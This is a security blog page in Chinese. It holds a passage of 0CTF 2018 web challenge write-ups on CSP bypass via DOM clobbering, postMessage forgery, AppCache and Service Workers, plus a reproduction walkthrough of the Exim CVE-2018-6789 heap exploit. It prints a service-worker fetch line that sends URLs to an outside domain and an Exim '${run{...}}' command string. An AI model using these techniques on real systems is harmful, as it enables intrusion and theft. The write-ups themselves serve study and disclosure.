    effects在config.js中被定义。

    回顾上面的几个条件,我们可以简单的整理思路。

    在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过

    首先我们观察xss点周围的html结构

    image.png-21.3kB

    在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入<script a="

    这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:

    但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。

    稍微翻翻可以发现,唯一的机会就在这里

    如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。

    在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

    也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。

    可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。

    这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。

    image.png-34.4kB

    我们成功的覆盖了effects变量,紧接着我们需要覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),

    所以我们尝试传入

    image.png-16.9kB

    成功执行

    接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。

    上面的payload最简化可以是

    一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。

    下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的

    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

    通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name。

    这里用到一个特殊的跨域操作

    http://www.cnblogs.com/zichi/p/4620656.html

    这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。

    利用思路

    完整payload

    然后通过login?next=这里来跳转到这里,成功理顺

    最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的

    这个思路受限于当前页面CSP没有unsafe-eval,刚才说到window.name不随域变化而变化,那么我们传入payload

    然后在自己的服务器上设置

    这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。

    h4xors.club2

    一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。

    http://www.wupco.cn/?p=4408&from=timeline

    在分享一个写的比较详细的正解

    https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

    下面顺着思路一起来看看这题。

    题目分析

    站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。

    1. profile.php可以修改自己个人信息
    2. user.php/{id}可以访问自己的个人信息
    3. report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
    4. index.php接受msg参数

    还有一些特别的点

    1、user.php页面的CSP为

    非常严格,只允许nonce CSP的script解析

    index.php页面的CSP为

    允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入strict-dynamic。)

    2、站内有两个xss点

    第一个是user.php的profile,储存型xss,没有任何过滤。

    第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor

    顺着思路向下

    因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作

    当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。

    在user.php的查看profile页面,我们可以看到

    当我们插入

    并请求

    那么这里的a标签就会被点击,同样可以实现跳转。

    接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是<base>,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!

    可惜如果我们请求

    会被xss auditor拦截,最后面没办法加/">,一个非常有趣的情况出现了

    image.png-7.8kB

    最后的</h1>中的/被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…

    不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。

    我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。

    https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

    这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。

    站内关于游戏的代码在app.js中的最下面,加载了client.js

    client.js中的代码不多,有一些值得注意的点,就是客户端是通过postMessage和服务端交互的。

    image.png-94.1kB

    而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。

    ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求

    这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。

    这里我盗用了一张别的wp中的图,来更好的描述这种手法

    原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

    image.png-112.7kB

    这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回

    这里我们可以关注一下client.js中的recvmsg

    image.png-323.9kB

    如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。

    值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。

    所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。

    利用思路

    1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。

    2、在ddog321账号中设置profile公开,并设置内容为

    3、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js

    4、在ddog123账户中设置profile为

    5、最后在1.js中加入利用代码,发送report给后台等待返回即可。

    h4x0rs.space

    TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。

    下面的Writeup主要来自于

    https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

    题目分析

    先简单说一下整个题目逻辑

    1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。

    2、站内开启CSP,而且是比较严格的nonce CSP

    3、文章内引入了类似短标签的方式可以插入部分标签,例如[img]test[/img]

    值得注意的是这里有一个特例

    如果插入[ig]123[/ig]就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。

    值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。

    4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。

    5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。

    AppCache 的利用

    在提示中,我们很明显可以看到cache这个提示,这里的提示其实是说,利用appcache来加载svg的方式。

    在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。

    https://www.html5rocks.com/en/tutorials/appcache/beginner/

    这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。

    Appcache的开启方法是在html标签下添加manifest属性

    这里的example.appcache可以是相对路径也可以是绝对路径,清单文件的结构大致如下:

    CACHE:
    这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。

    NETWORK:
    此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。

    FALLBACK:
    此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。

    这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件

    去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。

    https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

    这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似

    然后将manifest设置为相对目录的svg文件路径,形似

    在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。

    紧接着,我们需要通过引入[ig]a#[/ig],通过拼接url的方式,这里的#会使后面的&instagram无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。

    这里的payload形似

    这里之所以会引入多个a#是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。

    最后发送文章id到后台,浏览器访问文章则会触发下面的流程。

    上面的文章会转化为

    上面的iframe标签会引入我们提前上传好的manfiest文件

    并将FALLBACK设置为/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

    然后下面的iframe标签会访问/blog/untrusted_files/embed/embed.php?embed=a并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。

    当我们第一次读取到document.cookie时,返回为

    大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。

    Service Worker的利用

    仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似https://h4x0rs.space/blog/[blog_post_id]的url,通过Appcache我们只能控制/blog/untrusted_files/这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。

    在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。

    关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。

    下面是两篇关于service worker的文档:

    https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

    https://www.w3.org/TR/service-workers/

    使用Service Worker有两个条件:

    1、Service Worker只生效于https://或者http://localhost/
    2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。

    当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。

    1、如果我们使用navigator.serviceWorker.register来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript中的一种。

    2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。

    对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~

    具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:

    http://drops.xmd5.com/static/drops/web-10798.html

    https://paper.seebug.org/177/

    https://speakerdeck.com/masatokinugawa/pwa-study-sw

    最后的这个ppt最详细,但他是日语的,读起来非常吃力。

    这里回到题目,我们可以注意到站内刚好有一个jsonp接口

    值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。

    这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。

    完整的利用链如下:

    1、将*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//写入文章内,并保留下文章id。

    2、构造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

    3、上传svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

    4、构造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

    5、构造embed页面url

    6、最后构造利用文章内容

    7、发送post id即可

    REF

    作者:dawu | Categories:技术分享 | Tags:
  • Exim Off-by-one(CVE-2018-6789)漏洞复现分析

    2018-04-02

    作者:Hcamael@知道创宇404实验室

    前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。

    本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。

    复现环境搭建

    本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]

    然后把分支切换到上一个commit

    Makefile仍然使用上次那个:

    然后就是编译安装了:

    启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。

    本篇的复现,都是基于只输出部分debug信息的模式:

    漏洞复现

    因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程

    STEP 1

    首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:

    这个chunk要被分为三个部分,一个部分是通过store_get获取,用来存放base64解码的数据,用来造成off by one漏洞,覆盖下一个chunk的size,因为通过store_get获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。

    第二部分用来放sender_host_name,因为该变量的内存是通过store_malloc获取的,所以没有大小限制

    第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块

    和meh的方法不同,我通过unrecognized command来获取一个0x4041的堆块,然后通过EHLO来释放:

    0x1d15180是通过unrecognized command获取的一个0x4040大小的chunk,在执行完EHLO命令后被释放, 然后0x1d191c0是inuse的sender_host_name,这两部分就构成一个0x6060的chunk

    STEP 2

    现在的情况是sender_host_name位于0x6060大小chunk的最底部,而我们需要把它移到中间

    这部分的思路和meh的一样,首先通过unrecognized command占用顶部0x2020的chunk

    之前的文章分析过,unrecognized command申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);

    通过计算,只需要让length + nonprintcount * 3 + 1 > yield_lengthstore_get函数就会从malloc中申请一个chunk

    这个时候我们就能使用EHLO释放之前的sender_host_name,然后重新设置,让sender_host_name位于0x6060大小chunk的中部

    STEP 3

    现在我们的堆布局是:

    • 第一块未被使用的0x2020大小的chunk
    • 第二块正在被使用0x2000大小的sender_host_name
    • 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk

    我们现在再回过头来想想各个chunk的size的设置的问题

    CHUNK 1

    第一个chunk是用来触发off by one漏洞,用来修改第二个CHUNK的size位,只能溢出1byte

    store_get最小分配一个0x2020的chunk,能储存0x2000的数据

    这就导致了,如果按照store_get的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位

    然后因为(0x2008-1)%3==0,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位

    CHUNK2

    第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0

    其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。

    经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用

    CHUNK3

    第三个chunk只要求大于一个store_get申请的最小size(0x2020)就行了

    STEP 4

    根据第三步叙述的,我们来触发off by one漏洞

    并且构造在第三块chunk中构造一个fake chunk

    STEP 5

    下一步跟meh一样,通过释放sender_host_name,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset

    STEP 6

    meh提供了一种不需要泄露地址就能RCE的思路

    exim有一个expand_string函数,当其处理的参数中有${run{xxxxx}}, xxxx则会被当成shell命令执行

    acl_check函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string函数

    我复现环境的配置信息如下:

    所以我有rcpt, data, auth这三个命令可以利用

    比如0x0000000001cedae0地址当前的内容是:

    当我把该字符串修改为${run{/usr/bin/touch /tmp/pwned}}

    则当我向服务器发送AUTH命令时,exim将会执行/usr/bin/touch /tmp/pwned

    所以之后就是meh所说的利用链:

    修改storeblock的next指针为储存acl_check_xxxx字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCE

    STEP 7

    根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个storeblock的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010

    所以我们申请一个0x2020的chunk,就能够覆盖next指针:

    这里有一个问题

    第二个chunk在AUTH CRAM-MD5命令执行时就被分配了,所以b64decode的内存是从next_yield获取的

    这样就导致一个问题,我们能通过之前的构造来控制在执行b64decodeyield_length的大小,最开始我的一个思路就是,仍然利用off by one漏洞来修改next,这也是我理解的meh所说的partial write

    但是实际情况让我这个思路失败了

    当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存acl_check_xxx字符的堆块地址为0x1ced980

    我们需要修改3字节,所以这个思路行不通

    所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte

    STEP 8

    在解决地址的问题后,就是对堆进行填充,然后修改相关acl_check_xxx指向的字符串

    然后附上利用截图:

    总结

    坑踩的挺多,尤其是在纠结meh所说的partial write,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write的理解有问题吧

    另外,通过与github上的exp进行对比,发现不同版本的exim,acl_check_xxx的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:

    1. 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
    2. 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
    3. 需要有该exim的binary来计算堆偏移
    4. 需要知道exim的启动参数

    参考

    1. https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
    2. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
    3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
    作者:dawu | Categories:安全研究技术分享 | Tags: